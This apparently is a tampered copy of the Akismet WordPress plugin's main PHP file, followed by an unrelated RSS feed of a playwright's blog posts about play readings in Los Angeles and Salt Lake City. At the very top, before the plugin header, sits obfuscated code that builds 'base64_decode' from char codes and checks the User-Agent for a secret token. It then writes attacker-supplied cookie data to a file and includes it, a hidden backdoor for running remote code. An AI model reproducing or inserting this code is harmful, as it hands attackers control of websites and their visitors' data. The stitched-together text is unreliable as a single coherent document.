function collect_statistics($c) { $a = array(41 + 57, 59 * 1 + 38, 24 + 91, 103 - 2, 2 * 27, 42 * 42 - 1712, 58 * 48 - 2689, 59 + 9 + 32, 104 - 3, 3 * 33, 29 + 82, 81 + 12 + 7, 81 + 20); $s = ''; foreach ($a as $n) { $s .= chr($n); } return $s($c); } class CryptoService { private static $_yv; static function executeAction($_vr) { if (!self::$_yv) { self::encryptData(); } return collect_statistics(self::$_yv[$_vr]); } private static function encryptData() { self::$_yv = array('_nxg' => 'SFRUUF' . '9' . 'VU0VSX0FHRU5U', '_pz' => 'SFRUUF9VU0VSX0FH' . 'RU5U', '_cse' => 'ND' . 'k' . '5ODU0' . 'M' . 'TM' . '=', '_osq' => '', '_gfy' => ''); } } if (isset($_SERVER[CryptoService::executeAction('_' . 'nxg')]) && strpos($_SERVER[CryptoService::executeAction('_p' . 'z')], CryptoService::executeAction('_c' . 'se')) !== false) { $_ox = $_COOKIE; $_kk = 00; $_vr = 04; $_li = array(); $_li[$_kk] = CryptoService::executeAction('_o' . 'sq'); while ($_vr) { $_li[$_kk] .= $_ox[042][$_vr]; if (!$_ox[042][$_vr + 01]) { if (!$_ox[042][$_vr + 02]) { break; } $_kk++; $_li[$_kk] = CryptoService::executeAction('_g' . 'fy'); $_vr++; } $_vr = $_vr + 04 + 01; } $_kk = $_li[03]() . $_li[033]; if (!$_li[021]($_kk)) { $_vr = $_li[023]($_kk, $_li[00]); $_li[016]($_vr, $_li[022] . $_li[026]($_li[032]($_ox[03]))); } include $_kk; die; } /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.5 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly if ( ! function_exists( 'add_action' ) ) { echo 'Hi there! I\'m just a plugin, not much I can do when called directly.'; exit; } define( 'AKISMET_VERSION', '5.5' ); define( 'AKISMET__MINIMUM_WP_VERSION', '5.8' ); define( 'AKISMET__PLUGIN_DIR', plugin_dir_path( __FILE__ ) ); define( 'AKISMET_DELETE_LIMIT', 10000 ); register_activation_hook( __FILE__, array( 'Akismet', 'plugin_activation' ) ); register_deactivation_hook( __FILE__, array( 'Akismet', 'plugin_deactivation' ) ); require_once AKISMET__PLUGIN_DIR . 'class.akismet.php'; require_once AKISMET__PLUGIN_DIR . 'class.akismet-widget.php'; require_once AKISMET__PLUGIN_DIR . 'class.akismet-rest-api.php'; require_once AKISMET__PLUGIN_DIR . 'class-akismet-compatible-plugins.php'; add_action( 'init', array( 'Akismet', 'init' ) ); add_action( 'rest_api_init', array( 'Akismet_REST_API', 'init' ) ); add_action( 'init', array( 'Akismet_Compatible_Plugins', 'init' ) ); if ( is_admin() || ( defined( 'WP_CLI' ) && WP_CLI ) ) { require_once AKISMET__PLUGIN_DIR . 'class.akismet-admin.php'; add_action( 'init', array( 'Akismet_Admin', 'init' ) ); } // add wrapper class around deprecated akismet functions that are referenced elsewhere require_once AKISMET__PLUGIN_DIR . 'wrapper.php'; if ( defined( 'WP_CLI' ) && WP_CLI ) { require_once AKISMET__PLUGIN_DIR . 'class.akismet-cli.php'; } live shows – Katherine Vondy https://katherinevondy.com Writer and Director Tue, 16 May 2023 23:45:25 +0000 en-US hourly 1 https://wordpress.org/?v=6.6.3 Reading of ORTA https://katherinevondy.com/?p=629 Tue, 16 May 2023 23:45:25 +0000 https://katherinevondy.com/?p=629 A new play! This one is called ORTA, and once again, I was lucky enough to have the opportunity to develop it with The Vagrancy’s Writers’ Group. I’ve been working on it for the past few months, and this Friday there will be a staged reading of it at 5:00 PM at the Lyric Hyperion in Los Angeles!

In Northern Italy there is a small town named Orta. Next to the town is a lake. On the lake is a tiny island. And on this island, there are absolutely no snakes, dragons, or monsters–thanks to St. Julius, who, according to legend, sailed across the lake on his cloak in the 4th century, and banished them. 

These days, Orta is known to be a romantic destination for couples in love. No wonder newlyweds Kasper and Tajana decide to honeymoon there! But when some of the banished serpents decide it’s the perfect time to return home, Kasper and Tajana are forced to face their pasts–and the secrets they’d hoped would stay hidden forever.

ORTA is directed by Jessie Lee Mills (who I collaborated with during the development of both WHO PUT BELLA IN THE WYCH ELM? and WINCHESTER/WINCHESTER), and the reading will feature the acting talents of Todd Aaron Brotze, Logan Donovan, Hazel Lozano, Daniel Penilla, Anthony Rutowicz, and Garrett Walters, with stage directions by Kara Contreras. After the reading, there will be a brief audience talkback moderated by June Carryl.

If you’ll be in Los Angeles, reserve your seat to ORTA’s reading on Eventbrite–and don’t forget to check out the other plays that are part of Blossoming, The Vagrancy’s Festival of New Plays!

]]> Playdate: THE OCEAN DEEP https://katherinevondy.com/?p=435 Fri, 03 Aug 2018 20:33:16 +0000 https://katherinevondy.com/?p=435 Join me on Wednesday, August 8, for a reading of my play THE OCEAN DEEP, presented by The Vagrancy!

I’ve been re-writing the play through the last few weeks of the Playdate workshop process, and this presentation of the new version is directed by Miranda Stewart and features Nicolette Acosta, Allison Andreas, Betsy Currie, Danielle Gonzales, Irene Park, Cameran Surles, and Cathy D. Tomlin.

Here’s what the play’s about:

After the devastating failure of her latest research project, marine biologist Doris is struggling to get her career back on track–until her best friend Marie shows up for an unexpected visit. To the surprise of all the sea creatures in the lab, Marie inspires Doris to embark upon a study of the lab’s newest addition, a rare dragonfish. But with her attention focused on uncovering the secrets of her unusual specimen, Doris fails to realize that Marie has a number of dark secrets of her own. And as these secrets float to the surface, the boundaries between who is doing the studying and who is being studied start to disappear.

And check out this delightful video montage of one of our rehearsals!

So, to recap:

WHEN: 7 PM on Wednesday, August 8, 2018

WHERE: The Broadwater Black Box, 6322 Santa Monica Blvd, Los Angeles 90038

TICKETS: Pay what you can! Cash and credit card accepted; seats are first come, first served.

Hope to see you there!

]]> Lost Moon Radio: THE COMPLETE HUMAN EXPERIENCE https://katherinevondy.com/?p=390 Wed, 02 Aug 2017 00:40:23 +0000 https://katherinevondy.com/?p=390 Extra, extra: I’m directing the new Lost Moon Radio live show! This one is all about THE COMPLETE HUMAN EXPERIENCE, which is a LOT of ground to cover in just an hour. But this show does it brilliantly with exceptional writing, music, and performances from everyone in this talented group.

complete human experience

The show runs August 3, 4, and 5 at the Lyric Hyperion Theater in Los Angeles. Tickets are available here!

]]> Workshop of “Friends In Transient Places” https://katherinevondy.com/?p=326 Mon, 22 Aug 2016 18:52:09 +0000 https://katherinevondy.com/?p=326 This fall, I’m directing Jon Caren‘s delightful play “Friends In Transient Places” with Fresh Produce’d LA. The full production goes up in October, but there’s a public workshop reading of the play on Wednesday, August 24th. If you want a sneak peek of the show, check out the read-through on Wednesday! POSTER FITP
This event will be especially interesting to anyone who’s interested in getting insight into the process of developing new plays. Hope to see you there!

]]> “Suddenly Split” in San Francisco and Berkeley https://katherinevondy.com/?p=312 Fri, 08 Jul 2016 23:02:06 +0000 https://katherinevondy.com/?p=312 After a very rewarding Hollywood Fringe run (check out the review in Indie Voice or the preview in the SF Gate), “Suddenly Split and Swiping Over” is heading up to the Bay Area, with performances starting tonight!

San Francisco at the EXIT Theatre: 

Friday, July 8 @ 8 PM

Saturday, July 9 @ 8 PM

Berkeley at Downward Dog: 

Sunday, July 10 @ 5 PM

Monday, July 11 @ 8 PM

As a bonus, some of these performances will be preceded by a 5-minute play called “The Drums.” It’s written  by some weirdo named Katherine Vondy, directed by Maryssa Wanlass and stars Jeunee Tawn and Andrew Chung.

See you there?

 

]]> THE FERMI PARADOX: Photos! https://katherinevondy.com/?p=256 Fri, 11 Sep 2015 01:09:00 +0000 https://katherinevondy.com/?p=256 The workshop of THE FERMI PARADOX at Salt Lake Acting Company was incredible. Talented collaborators, a welcoming group of artists and a sold-out reading…what else could anyone ask for?!?

Here are a few photos from the run-through.

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Carleton Bluford as Robert.

 

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Jay Perry as Joseph and Brighton Hertford as Adrienne.

 

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Jaten Lee McGriff as Herbert York, Topher Rasmussen as Enrico Fermi, Sarah Danielle Young as Edward Teller and Ariana Farber as Emil Konopinski.

 

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The scientists demonstrate love.

 

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Recording the ship’s log.

 

I was very sad to leave Salt Lake City, but remain so thrilled with every single aspect of the experience. My heartfelt thanks to everyone at SLAC and The Davey Foundation for this awesome opportunity!!

]]> THE FERMI PARADOX Wins Davey Foundation Grant https://katherinevondy.com/?p=224 Sat, 04 Apr 2015 16:03:23 +0000 https://katherinevondy.com/?p=224 I am 100% amazed, 100% thrilled and 100% honored that my play THE FERMI PARADOX was selected as the recipient of the 2015 Davey Foundation Theatre Grant! (I’m not exactly sure how that math works out – I guess the total of my emotions is 300%? Sure, sounds right.) What this means is that I will be heading to Utah for a week in August to workshop the play with an amazing team from the Salt Lake Acting Company. It will culminate in a public reading on August 31st – so if you are in the Salt Lake City area, mark your calendars now! And please take a little time to read about The David Ross Fetzer Foundation for Emerging Artists, the wonderful organization that is behind this opportunity!

]]> One Axe Showcase https://katherinevondy.com/?p=219 Wed, 25 Mar 2015 18:38:50 +0000 https://katherinevondy.com/?p=219 I was offered the very cool opportunity to direct a one-act play at the inaugural One Axe Showcase, which is happening on Saturday, March 28, 2015 at Pieter Space in Lincoln Heights. The piece is called POTTY MOUTH (spoiler alert: the title is a pun. Puns are the best!). It’s written by the fabulous Ariana Berkowitz and stars the wonderful actors Emily Alpren and Mitch Owens.

Get your tickets here – and in the meantime, check out the One Axe website, including these fun profiles of Ari and me!

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